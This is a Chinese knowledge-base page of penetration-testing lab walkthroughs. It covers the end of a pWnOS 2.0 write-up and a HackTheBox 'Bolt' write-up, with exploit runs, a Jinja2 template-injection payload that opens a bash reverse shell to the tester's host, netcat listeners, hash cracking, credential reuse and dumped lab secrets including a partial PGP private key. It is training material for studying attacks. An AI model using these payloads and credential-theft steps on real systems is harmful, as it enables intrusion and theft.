==> DIRECTORY: http://10.10.10.100/blog/images/                                                                                                                    
+ http://10.10.10.100/blog/index (CODE:200|SIZE:8094)                                                                                                              
+ http://10.10.10.100/blog/index.php (CODE:200|SIZE:8094)                                                                                                          
+ http://10.10.10.100/blog/info (CODE:302|SIZE:0)                                                                                                                  
+ http://10.10.10.100/blog/info.php (CODE:302|SIZE:0)                                                                                                              
==> DIRECTORY: http://10.10.10.100/blog/interface/                                                                                                                 
==> DIRECTORY: http://10.10.10.100/blog/languages/                                                                                                                 
+ http://10.10.10.100/blog/login (CODE:200|SIZE:5667)                                                                                                              
+ http://10.10.10.100/blog/logout (CODE:302|SIZE:0)                                                                                                                
+ http://10.10.10.100/blog/options (CODE:302|SIZE:0)                                                                                                               
+ http://10.10.10.100/blog/rdf (CODE:200|SIZE:1411)                                                                                                                
+ http://10.10.10.100/blog/rss (CODE:200|SIZE:1237)                                                                                                                
==> DIRECTORY: http://10.10.10.100/blog/scripts/                                                                                                                   
+ http://10.10.10.100/blog/search (CODE:200|SIZE:4950)                                                                                                             
+ http://10.10.10.100/blog/setup (CODE:302|SIZE:0)                                                                                                                 
+ http://10.10.10.100/blog/static (CODE:302|SIZE:0)                                                                                                                
+ http://10.10.10.100/blog/stats (CODE:200|SIZE:5309)                                                                                                              
==> DIRECTORY: http://10.10.10.100/blog/themes/                                                                                                                    
+ http://10.10.10.100/blog/trackback (CODE:302|SIZE:0)                                                                                                             
+ http://10.10.10.100/blog/upgrade (CODE:302|SIZE:0) 
```

#### getshell

扫到blog目录,访问http://10.10.10.100/blog/右键查看源码发现是Simple PHP Blog 0.4.0版本网上搜索exploit，发现有一大堆的exp

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub59.jpg)

exploitdb有几个符合要求的漏洞利用程序，一个Metasploit模块以及决定使用的基于Perl的漏洞利用程序,[perl脚本下载地址:](https://www.exploit-db.com/download/1191)

使用该poc修改blog的用户名和密码

``` bash
root@kali:~# ./SimplePHPBlog.pl -h http://10.10.10.100/blog/ -e 3 -U admin -P admin
________________________________________________________________________________
                  SimplePHPBlog v0.4.0 Exploits
                             by
                     Kenneth F. Belva, CISSP
                    http://www.ftusecurity.com
________________________________________________________________________________
Running Set New Username and Password Exploit....


Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: admin
Password is set to: admin


*** Exploit Completed....
Have a nice day! :)
```

成功修改,admin/admin成功登录

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub60.jpg)

找到上传点上传php reverse shell

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub61.jpg)

可以直接上传.php后缀的文件

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub62.jpg)

然后访问php-reverse-shell.php,kali使用nc -lvp 5566命令监听，成功返回shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
10.10.10.100: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.100] 34832
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
 16:07:45 up  2:14,  0 users,  load average: 0.03, 0.03, 0.02
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$
```

#### 权限提升

使用以下命令来改善shell

``` bash
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@web:/$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@web:/$ id^^^H^H^H^H^H^H^H

www-data@web:/$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@web:/$ whoami

www-data
www-data@web:/$ ls

bin   dev  home        lib    lost+found  mnt  proc  sbin     srv  tmp  var
boot  etc  initrd.img  lib64  media       opt  root  selinux  sys  usr  vmlinuz
```

在/var/www目录下寻找数据库配置文件的用户名和密码

``` bash
$ pwd
/var/www
$ cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:

$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );

?>$
```
试了下这个密码，发现是错的，但是在/var/目录下还发现了一个mysqli_connect.php文件

``` bash
$ cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:

$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );

www-data@web:/var$ mysql -uroot -proot@ISIntS

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 9823
Server version: 5.1.54-1ubuntu4 (Ubuntu)

Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show  databases;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| ch16               |
| mysql              |
+--------------------+
3 rows in set (0.00 sec)

mysql> 
```

发现/var目录下的配置文件中的密码可以正常连接mysql数据库，再使用该用户名和密码连接ssh

``` bash
root@kali:~# ssh root@10.10.10.100
root@10.10.10.100's password: 
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)

 * Documentation:  http://www.ubuntu.com/server/doc

  System information as of Sun Oct 20 16:31:46 EDT 2019

  System load:  0.0               Processes:           81
  Usage of /:   2.9% of 38.64GB   Users logged in:     0
  Memory usage: 23%               IP address for eth0: 10.10.10.100
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sun Oct 20 16:18:11 2019 from 10.10.10.128
root@web:~# id
uid=0(root) gid=0(root) groups=0(root)
root@web:~# whoami
root
```

成功，挑战完成！！！够牛批，帅掉渣！！！

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="red">***The end,to be continue...***</font>
<!-- kb:end pWnOS2-0-Pre-Release -->

</details>




# 模板注入与多语言表达式

模板引擎、上下文对象和输出约束共同决定可用表达式。本章整理 Flask/Jinja2、Lua 及多语言拟态题的原实验，保留输入编码、对象访问、配置加载和后续账户转换。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/ssti/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Bolt 与 Doctor 的配置、密钥和备份数据不同，读取与执行阶段需要沿各自证据核对。

Mimic-SSTI 要求三种引擎的输出一致，单一引擎的表达式并不足以解释解法。

Spider 同时涉及签名查询参数和 XML，Luanne 继续连接 netpgp 与 doas。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [Flask 模板执行与 PGP 数据恢复](#case-bolt) | bolt | SSTI、Flask、PGP |
| [Jinja2 配置加载与日志凭据](#case-doctor) | doctor | Jinja2、SSTI、Splunk |
| [Lua 解析与 doas 身份变化](#case-luanne) | luanne | Lua、命令注入、doas |
| [三种模板的一致渲染约束](#case-mimic-ssti) | mimic-ssti | SSTI、Latte、Velocity、Jinja2 |
| [签名会话、模板与 XML](#case-spider) | spider | SSTI、SQL注入、XXE |

<a id="case-bolt"></a>

## Flask 模板执行与 PGP 数据恢复

下载文件中的哈希先用于认证，再进入 Flask 模板注入。数据库中的加密消息需要导入相应私钥并恢复口令，后半段保留解密步骤。

<p class="kb-provenance">来源 bolt · 原记录 2021-09-29 · 26 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-bolt">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start bolt -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	25 Sep 2021
IP:	10.10.11.114

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2081.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Nmap

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.114
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap reveals three open ports, virtual host name from SSL certificate. Let’s add it to your hosts
file and visit the webpage.

``` bash
10.10.11.114      bolt.htb
```

We have login page and couple other pages available. Let’s hit login first.

We can create a new account, but it gives server error.

We can't login without valid creds and we can't create new account due to an issue on server. However, we can download a tar file.

Download it and extract.

``` bash
$ ls -la
total 64
drwxr-xr-x 13 kali kali 4096 Sep 27 08:14 .
drwxr-xr-x 3 kali kali 4096 Sep 28 06:12 ..
drwxr-xr-x 3 kali kali 4096 Sep 27 09:03
187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
drwxr-xr-x 3 kali kali 4096 Sep 27 09:00
1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
drwxr-xr-x 3 kali kali 4096 Sep 27 10:14
2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
drwxr-xr-x 3 kali kali 4096 Sep 27 10:15
3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
drwxr-xr-x 3 kali kali 4096 Sep 27 10:16
3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
drwxr-xr-x 3 kali kali 4096 Sep 27 10:13
3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
drwxr-xr-x 4 kali kali 4096 Sep 27 10:16
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
drwxr-xr-x 3 kali kali 4096 Sep 27 10:15
745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
-rw-r--r-- 1 kali kali 3797 Mar 5 2021
859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
drwxr-xr-x 3 kali kali 4096 Sep 27 10:13
9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
drwxr-xr-x 3 kali kali 4096 Sep 27 09:08
a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
drwxr-xr-x 2 kali kali 4096 Mar 5 2021
d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
-rw-r--r-- 1 kali kali 1002 Jan 1 1970 manifest.json
-rw-r--r-- 1 kali kali 119 Jan 1 1970 repositories
```

In one of the directory, we will find a database file.

``` bash
$ ls -la a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer/
total 36
drwxr-xr-x 4 kali kali 4096 Sep 27 09:16 .
drwxr-xr-x 3 kali kali 4096 Sep 27 09:08 ..
-rw-r--r-- 1 kali kali 16384 Mar 5 2021 db.sqlite3
-rw-r--r-- 1 kali kali 35 Sep 27 09:16 hash
drwx------ 2 kali kali 4096 Mar 5 2021 root
drwxrwxrwt 2 kali kali 4096 Mar 5 2021 tmp
```

Let's dump tables from the DB.

``` bash
$ sqlite3 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer/db.sqlite3
SQLite version 3.36.0 2021-06-18 18:36:39
Enter ".help" for usage hints.
sqlite> .table
User
sqlite> select * from user;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
```

We got credentials, but the password is stored in hash. Let’s crack it.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# john hash_admin --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt         (?)
1g 0:00:00:00 DONE (2021-09-29 12:24) 1.639g/s 283278p/s 283278c/s 283278C/s doida..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

We got the password. Let’s login.

We are on admin dashboard, let's look around for any hints.

In direct chat, they are talking about other platform. Let’s find the virtual hosts.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# gobuster vhost -u http://bolt.htb -t 30 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://bolt.htb
[+] Method:       GET
[+] Threads:      30
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/09/29 12:27:24 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219]
===============================================================
2021/09/28 10:53:32 Finished
```

We got two more virtual hosts, let’s add them to our hosts file and access.

Both vhost's have login page, and our earlier admin credentials didn't work them. Let's create a
new user on 'demo' vhost.

To create a new account on 'demo' vhost, need to have invite code (as mentioned in direct chat). We can find invite code in downloaded data from the server.

``` bash
$ grep -iR -A 2 'invite_code' 2>/dev/null
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py:
code = request.form['invite_code']
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py-
if code != 'XNSS-HSJW-3NGU-8XTJ':
```

We have invite code now, let's register a new account and login.

Using these credentials, we can also login on 'mail' vhost.

The footer of 'demo' dashboard displays that, the server is using 'Flask'.

We can try SSTI on profile name.

Once you submit the profile name with SSTI payload, it will send a confirmation email. We need to confirm it.

After confirmation, nothing will happen on dashboard, but you will receive another mail with confirmed name.

As you can see, the name is "16", this is a proof that SSTI is possible on the sever side. Let's perform code execution.

PayloadsAllTheThings SSTI Code Execution payload

 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-ospopenread](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-ospopenread)

``` bash
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
```

Follow the same process of confirmation and you will receive confirmed email with results.

We have code execution on the box, let's gain shell access via this SSTI. Initial Access

``` bash
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.2/4433 0>&1"').read() }}
```

I have highlighted the bash one-liner, initially it failed when I used 'bash', rather than using absolute path. Setup a listener, confirm the name change from 'mail' vhost and check your listener.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# nc -lvp 4433                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4433
Ncat: Listening on 0.0.0.0:4433
Ncat: Connection from 10.10.11.114.
Ncat: Connection from 10.10.11.114:34804.
bash: cannot set terminal process group (1007): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bolt:~/demo$ whoami
whoami
www-data
www-data@bolt:~/demo$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

We got service account access, now we need to elevate the privileges to user account. Let's look for user account.

``` bash
www-data@bolt:~/demo$ grep 'bash' /etc/passwd
grep 'bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
eddie:x:1000:1000:Eddie Johnson,,,:/home/eddie:/bin/bash
clark:x:1001:1001:Clark Griswold,,,:/home/clark:/bin/bash
```

We have two more user accounts other than root.

#### Privilege Escalation - User

LinPeas found some interesting files, which can be readable and writeable by current service account.

``` bash
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group www-data:
/etc/passbolt
/etc/passbolt/gpg
/etc/passbolt/gpg/serverkey.asc
/etc/passbolt/gpg/serverkey_private.asc
```

Let's look into 'passbolt' directory.

``` bash
www-data@bolt:/etc/passbolt$ ls -la
ls -la
total 156
drwxrwx---   6 root     www-data  4096 Sep  9 10:06 .
drwxr-xr-x 135 root     root     12288 Sep 20 15:05 ..
-rw-r-----   1 root     www-data 18421 Jul 27 06:57 app.default.php
-rw-r-----   1 root     www-data 18421 Jul 27 06:58 app.php
-rw-r-----   1 root     www-data   886 Feb 24  2021 bootstrap_cli.php
-rw-r-----   1 root     www-data  6189 Jul 27 06:57 bootstrap.php
-rw-r-----   1 root     www-data    65 Feb 24  2021 bootstrap_plugins.php
-rw-r-----   1 root     www-data 10365 Jul 27 06:58 default.php
-rw-r-----   1 root     www-data  1465 Jul 27 06:57 file_storage.php
drwxrwx---   2 root     www-data  4096 Feb 24  2021 gpg
drwxr-x---   2 root     www-data 12288 Sep  9 10:06 Migrations
-rw-r--r--   1 root     root       835 Feb 24  2021 nginx-ssl.conf
-rw-r-----   1 root     www-data  5601 Feb 24  2021 passbolt.default.php
-rw-r-----   1 root     www-data  3128 Feb 25  2021 passbolt.php
-rw-r-----   1 root     www-data  2642 Jul 27 06:58 paths.php
-rw-r-----   1 root     www-data  1328 Jul 27 06:57 requirements.php
-rw-r-----   1 root     www-data 14211 Jul 27 06:57 routes.php
drwxr-x---   2 root     www-data  4096 Sep  9 10:06 schema
dr-xr-x---   2 www-data www-data  4096 Feb 25  2021 Seeds
-rw-r-----   1 root     www-data   113 Jul 27 06:57 version.php
```

'passbolt.php' file gives us database credentials.

``` bash
www-data@bolt:/etc/passbolt$ cat passbolt.php
cat passbolt.php
<?php
/**
 * Passbolt ~ Open source password manager for teams
 * Copyright (c) Passbolt SA (https://www.passbolt.com)
 *
 * Licensed under GNU Affero General Public License version 3 of the or any later version.
 * For full copyright and license information, please see the LICENSE.txt
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Passbolt SA (https://www.passbolt.com)
 * @license       https://opensource.org/licenses/AGPL-3.0 AGPL License
 * @link          https://www.passbolt.com Passbolt(tm)
 * @since         2.0.0
 */
/**
 * PASSBOLT CONFIGURATION FILE
 *
 * This is a generated configuration file, which was generated by the passbolt web installer.
 *
 * To see all available options, you can refer to the default.php file, or replace this file
 * by a copy of passbolt.default.php
 * Do not modify default.php or you may break your upgrade process.
 *
 * Read more about how to install passbolt: https://www.passbolt.com/help/tech/install
 * Any issue, check out our FAQ: https://www.passbolt.com/faq
 * An installation issue? Ask for help to the community: https://community.passbolt.com/
 */
return [
    'App' => [
        // A base URL to use for absolute links.
        // The url where the passbolt instance will be reachable to your end users.
        // This information is need to render images in emails for example
        'fullBaseUrl' => 'https://passbolt.bolt.htb',
    ],

    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
        ],
    ],

    // Email configuration.
    'EmailTransport' => [
        'default' => [
            'host' => 'localhost',
            'port' => 587,
            'username' => null,
            'password' => null,
            // Is this a secure connection? true if yes, null if no.
            'tls' => true,
            //'timeout' => 30,
            //'client' => null,
            //'url' => null,
        ],
    ],
    'Email' => [
        'default' => [
            // Defines the default name and email of the sender of the emails.
            'from' => ['localhost@bolt.htb' => 'localhost'],
            //'charset' => 'utf-8',
            //'headerCharset' => 'utf-8',
        ],
    ],
    'passbolt' => [
        // GPG Configuration.
        // The keyring must to be owned and accessible by the webserver user.
        // Example: www-data user on Debian
        'gpg' => [
            // Main server key.
            'serverKey' => [
                // Server private key fingerprint.
                'fingerprint' => '59860A269E803FA094416753AB8E2EFB56A16C84',
                'public' => CONFIG . DS . 'gpg' . DS . 'serverkey.asc',
                'private' => CONFIG . DS . 'gpg' . DS . 'serverkey_private.asc',
            ],
        ],
        'registration' => [
            'public' => false,
        ],
        'ssl' => [
            'force' => true,
        ]
    ],
];
```

There are no passwords stored inside this DB.

``` bash
mysql> select * from users;
+--------------------------------------+--------------------------------------
+----------------+--------+---------+---------------------+---------------------+
| id | role_id | username
| active | deleted | created | modified |
+--------------------------------------+--------------------------------------
+----------------+--------+---------+---------------------+---------------------+
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1cfcd300-0664-407e-85e6-c11664a7d86c |
eddie@bolt.htb | 1 | 0 | 2021-02-25 21:42:50 | 2021-02-25 21:55:06 |
| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 975b9a56-b1b1-453c-9362-c238a85dad76 |
clark@bolt.htb | 1 | 0 | 2021-02-25 21:40:29 | 2021-02-25 21:42:32 |
+--------------------------------------+--------------------------------------
+----------------+--------+---------+---------------------+---------------------+
2 rows in set (0.00 sec)
```

However, there's another table called 'secrets' revealed a encrypted message.

``` bash
mysql> describe secrets;
+-------------+------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------------+------------+------+-----+---------+-------+
| id | char(36) | NO | PRI | NULL | |
| user_id | char(36) | NO | MUL | NULL | |
| resource_id | char(36) | NO | MUL | NULL | |
| data | mediumtext | NO | | NULL | |
| created | datetime | NO | | NULL | |
| modified | datetime | NO | | NULL | |
+-------------+------------+------+-----+---------+-------+
6 rows in set (0.00 sec)
mysql> select data from secrets;
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
```

Without private key we can't decrypt this message, save this message on your Kali Linux. Let's try to login using this DB password for 'eddie' user.

``` bash
www-data@bolt:/etc/passbolt$ su eddie
su eddie
Password: rT2;jW7<eY8!dX8}pQ8%

eddie@bolt:/etc/passbolt$ id
id
uid=1000(eddie) gid=1000(eddie) groups=1000(eddie)
eddie@bolt:/etc/passbolt$ whoami
whoami
eddie
eddie@bolt:/etc/passbolt$ cd ~
cd ~
eddie@bolt:~$ cat user.txt
cat user.txt
408648311441ce2f4763d74bff326fef
```

and we got the user flag......

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2082.jpg)

#### Privilege Escalation - Root

Linpeas reveled couple of things like main and private ssh key's.

``` bash
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home)
(max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
----SNIP----
/var/mail/eddie
----SNIP----
══╣ Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/
3.0.5_0/index.min.js
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/
3.0.5_0/vendors/openpgp.js
/home/eddie/.config/google-chrome/Default/Local Extension Settings/
didegimhafipceonhjepacocaffmoppf/000003.log
```

Let's read mail and then look for SSH private keys.

``` bash
eddie@bolt:~$ cat /var/mail/eddie
cat /var/mail/eddie
From clark@bolt.htb  Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
        id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>

Hey Eddie,

The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
Once you are set up you can start importing your passwords.  Please be sure to keep good security in mind - there is a few things I read about in a security whitepaper that are a little concerning...

-Clark
```

Clark user has sent a mail to eddie, and telling about password management server and telling him to take backup of private key. If we look into log file, we'd find private key.

``` bash
less '.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log'

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU
+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a
If70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB
AAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW
UjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua
jS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA
iOe++biDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac
2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk+ZAxd2rJhhleZDiASDrIDT9/G5FDVj
QY3ep7tx0RTE8k5BE03NrEZi6TTZVa7MrpIDjb7TLzAKxavtZZYOJkhsXaWf
DRe3Gtmo/npea7d7jDG2i1bn9AJfAdU0vkWrNqfAgY/r4j+ld8o0YCP+76K/
7wiZ3YYOBaVNiz6L1DD0B5GlKiAGf94YYdl3rfIiclZYpGYZJ9Zbh3y4rJd2
AZkM+9snQT9azCX/H2kVVryOUmTP+uu+p+e51z3mxxngp7AE0zHqrahugS49
tgkE6vc6G3nG5o50vra3H21kSvv1kUJkGJdtaMTlgMvGC2/dET8jmuKs0eHc
Uct0uWs8LwgrwCFIhuHDzrs2ETEdkRLWEZTfIvs861eD7n1KYbVEiGs4n2OP
yF1ROfZJlwFOw4rFnmW4Qtkq+1AYTMw1SaV9zbP8hyDMOUkSrtkxAHtT2hxj
XTAuhA2i5jQoA4MYkasczBZp88wyQLjTHt7ZZpbXrRUlxNJ3pNMSOr7K/b3e
IHcUU5wuVGzUXERSBROU5dAOcR+lNT+Be+T6aCeqDxQo37k6kY6Tl1+0uvMp
eqO3/sM0cM8nQSN6YpuGmnYmhGAgV/Pj5t+cl2McqnWJ3EsmZTFi37Lyz1CM
vjdUlrpzWDDCwA8VHN1QxSKv4z2+QmXSzR5FZGRpZSBKb2huc29uIDxlZGRp
